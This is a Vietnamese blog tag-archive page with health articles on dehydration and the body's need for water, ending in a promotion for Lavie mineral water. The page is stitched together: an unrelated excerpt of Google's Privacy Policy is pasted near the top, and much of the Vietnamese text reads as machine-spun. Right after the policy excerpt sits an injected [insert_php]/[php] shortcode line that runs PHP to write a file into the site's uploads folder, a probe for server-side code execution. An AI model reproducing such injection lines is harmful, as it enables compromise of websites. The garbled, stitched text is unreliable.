Tag Archive

Tag Archives for " cơ thể "

Cơ thể thay đổi như thế nào sau 60 phút uống nước ngọt

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php] [php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Cơ thể bạn sẽ thay đổi thế nào nếu dừng uống nước?

Mọi sinh vật sống trên Trái Đất mà chúng ta đã biết đầu cần nước để tồn tại. Đó là lí do chúng ta luôn trong tình trạng cần nước mỗi ngày.

Khi nói đến nước có nghĩa là đã bao gồm các dung dịch khác có chứa nước ví dụ như nước trái cây, nước ngọt hoặc trà. Tương tự như việc cần ôxi để hít thở, “khát nước” chính là bản năng sinh tồn của loài người. Nước chiếm khoảng 65% khối lượng của cơ thể người trưởng thành và nó là chất dung môi “chung” mang các dưỡng chất và hoóc-môn đi đến mọi cơ quan nội tạng, điều hòa nhiệt độ cơ thể, bôi trơn các khớp gối và thậm chí là mắt.

Dấu hiệu cơ thể bị thiếu nước

Cơ thể thiếu nước bạn sẽ cảm thấy khô miệng, chóng mặt, phản ứng chậm.

Con người thải ra khoảng 1,5 lít nước tiểu hằng ngày, và thải ra 1 lít nước còn lại thông qua hơi thở, mồ hôi và phân; cơ thể sau đó phải cần bù đắp lượng nước này. Não của chúng ta sẽ phát ra tín hiệu “khát nước” khi cơ quan thụ cảm của não đo được lượng nước trong máu thấp hơn mức quy định. Ví dụ như khi đổ mồ hôi, lượng máu và huyết áp trong cơ thể sẽ giảm, não lúc đó phát ra tín hiệu “Uống nước ngay!”. Tuy nhiên, điều gì sẽ xảy ra trong cơ thể nếu bạn không đáp ứng được nhu cầu của não khi không uống nước?

Dấu hiệu của sự mất nước đầu tiên chính là khô miệng, sau đó nước tiểu sẽ tối màu lại và mùi nặng hơn vì cơ thể đã mất khả năng giữ nước. Não lúc đó sẽ bị ảnh hưởng, bạn sẽ cảm thấy chóng mặt, phản ứng chậm và giảm khả năng cảm thấy đau. Thực tế, lúc thiếu nước thì não trở nên teo lại, nếu không được cung cấp nước trong 1-2 ngày, bạn sẽ dừng tiểu, gặp khó khăn khi nuốt, các cơ bắp bị co thắt và buồn ói. Người thiếu nước trong thời gian dài sẽ bị suy não, không còn cảm thấy muốn ăn và máu sẽ giảm thiểu mức độ chảy dưới da để ngăn ngừa sự thất thoát nhiệt năng, nhưng đồng thời nhiệt độ bên trong cơ thể cũng tăng lên. Đó là lí do người thiếu nước trông rất “xanh xao”.

Khi không được cung cấp nước trong 3-5 ngày, cơ thể và não sẽ dừng hoạt động và chúng ta sẽ khó sống sót được khi đến mức này. Khi gặp những dấu hiệu “khát nước” trên, hãy bổ sung nước cho cơ thể càng sớm càng tốt.

Không như nguồn không khí chúng ta đang thở, chỉ 2,5% số lượng nước trên Trái Đất là nước uống được. Phần lớn nguồn nước này chứa trong băng và các mạch nước ngầm, khiến lượng nước con người sử dụng được chỉ còn lại 1%. Hơn nữa, số nước còn lại được dùng chủ yếu cho việc tưới cây trong nông nghiệp và làm mát hệ thống nhà máy nhiệt điện. Ngoài ra, rất nhiều người trên thế giới đang phải sử dụng nguồn nước bị ô nhiễm nặng nề.

Các nhà khoa học vẫn đang tìm cách để giải quyết vấn nạn trên, ví dụ như NASA đã tìm ra cách để các phi hành gia có thể lọc chính nước tiểu của họ để uống. Tuy nhiên vẫn chưa có cách nào triệt để và hiệu quả để lọc nước số lượng lớn. Vì thể trong thời điểm hiện tại, hãy tiết kiệm nước khi có thể.

Theo genK.vn

Những tác hại khi cơ thể thiếu nước

Các bạn có thể nhịn đói suốt hàng chục ngày nhưng chỉ sống được một vài ngày nếu không thể dung nạp nước. Nước đóng vai trò quan trọng đối với sức sống. Nếu vì nguyên do nào đó mà mất nước sẽ tình cờ gây tác động nghiêm trọng lên con người.

Theo Phó giáo sư.Tiến sĩ. Nguyễn Xuân Ninh, Trưởng khoa Vi Chất Dinh Dưỡng, Viện Dinh Dưỡng Việt Nam: “Khi lượng nước trong cơ thể giảm 2%, anh chị sẽ thấy khát nước, uể oải, đau đầu, phản ứng chậm chạp. Khi thân thể hao hụt trên 10% lượng nước có thể sẽ gây trụy tim mạch, nhịp tim tăng cao, hạ huyết áp. Tác hại hơn, các bạn có thể tử vong nếu lượng nước mất trên 20%”.

Bên cạnh oxy, nước đóng cương vị có ý nghĩa thứ 2 để duy trì cuộc sống. Ai cũng biết 70% trọng lượng thân thể chúng ta là nước. Vị trí chính của nước là dung môi hòa tan và giao hòa những chất bổ dưỡng mà con người dần tiếp nhận. Nước trong thân thể còn giữ vị trí là chất giúp cho bôi trơn để tạo nên các chuyển động của xương, sụn, màng phổi, cơ hành và điều hòa nhiệt độ cho cơ thể.

Những tác hại khi cơ thể thiếu nước

Nguyên nhân dẫn đến cơ thể mất nước

Việc thân thể hao hụt nước xảy ra rất phổ thông trong cuộc sống hàng ngày. Tùy vào độ tuổi, giới tính, cường độ cuộc sống, nhiệt độ, thời tiết mà yêu cầu nước và tình trạng hao hụt nước khác nhau. Nước có khi thiếu do thời tiết quá nóng, tiêu chảy, sốt hay bởi lo lắng công việc mà quên uống ngay nước. Một ít thống kê ở châu Âu cho thấy hầu hết các bé nhỏ không uống đủ nước, nhất là khi trẻ đến trường và có 75-80% người cao tuổi không cầm uống đủ nước.

Bên cạnh đó, tập thể lực nhiều sẽ “giúp” nước trong con người mất nhanh, như vận động viên bóng đá có thể thiếu 7 lít nước trong một trận thi đấu. Hao hụt nước qua mồ hôi sẽ đi kèm hao hụt Natri, một trong những chất khoáng có vai trò quan trọng với con người. vì thế, những ai đã mất trên 3 lít nước/ngày cần phải bù lại một lượng nhỏ muối ăn trong dung dịch nước.

Uống và lựa chọn nước thông thái

Trước những nguy hại với sức lực bởi thiếu nước, các bạn cần bồi dưỡng nước cho cơ thể một giải pháp khôn khéo qua việc lấy uống nước đủ và đúng giải pháp.

– Uống đủ: Người trưởng thành cần tiêu dùng 2-2,5 lít nước hàng ngày, trong đó từ nước uống trung bình 1-1,5 lít; từ thức ăn khác chiếm 0,8-1 lít; nước do chính quá trình chuyển hóa của con người sinh ra chiếm khoảng 0,27 lít. Do vậy, ngoài việc lấy uống nước, các bạn cần bổ sung thêm nguồn đồ ăn có lượng nước phong phú như hoa quả, rau củ, ăn thêm canh để vừa khẳng định tinh dưỡng, vừa bù lại phần nào lượng nước bị mất.

– Cầm uống đúng: Khi vừa đi nắng về hay vừa công việc nặng, anh chị lấy uống hết một lượng nước lớn để thỏa cơn khát trong cùng một lúc và thấy mệt mỏi, choáng váng, nặng đầu nhưng không biết vì đâu. Theo PGS.TS. Nguyễn Xuân Ninh: “Khi tiêu dùng một lượng lớn nước trong thời kỳ ngắn mà không bồi dưỡng các chất điện giải sẽ gây ra triệu chứng nhiễm độc nước”. Vì thế, bạn cần tạo lối sống lấy uống nước chậm chậm và cầm uống nước nhiều lần mỗi ngày để cơ thể tiếp nhận nước dễ dàng hơn.

Việc chọn sử dụng nước suối Lavie tự nhiên hằng ngày là một giải pháp thích hợp, làm cho bù đắp những khoáng chất cần thiết trong con người như Canxi, Magiê, Natri, Kali,… vốn đã đã mất đi bởi khi tập thể dục hay các hoạt động trong đời sống mỗi ngày.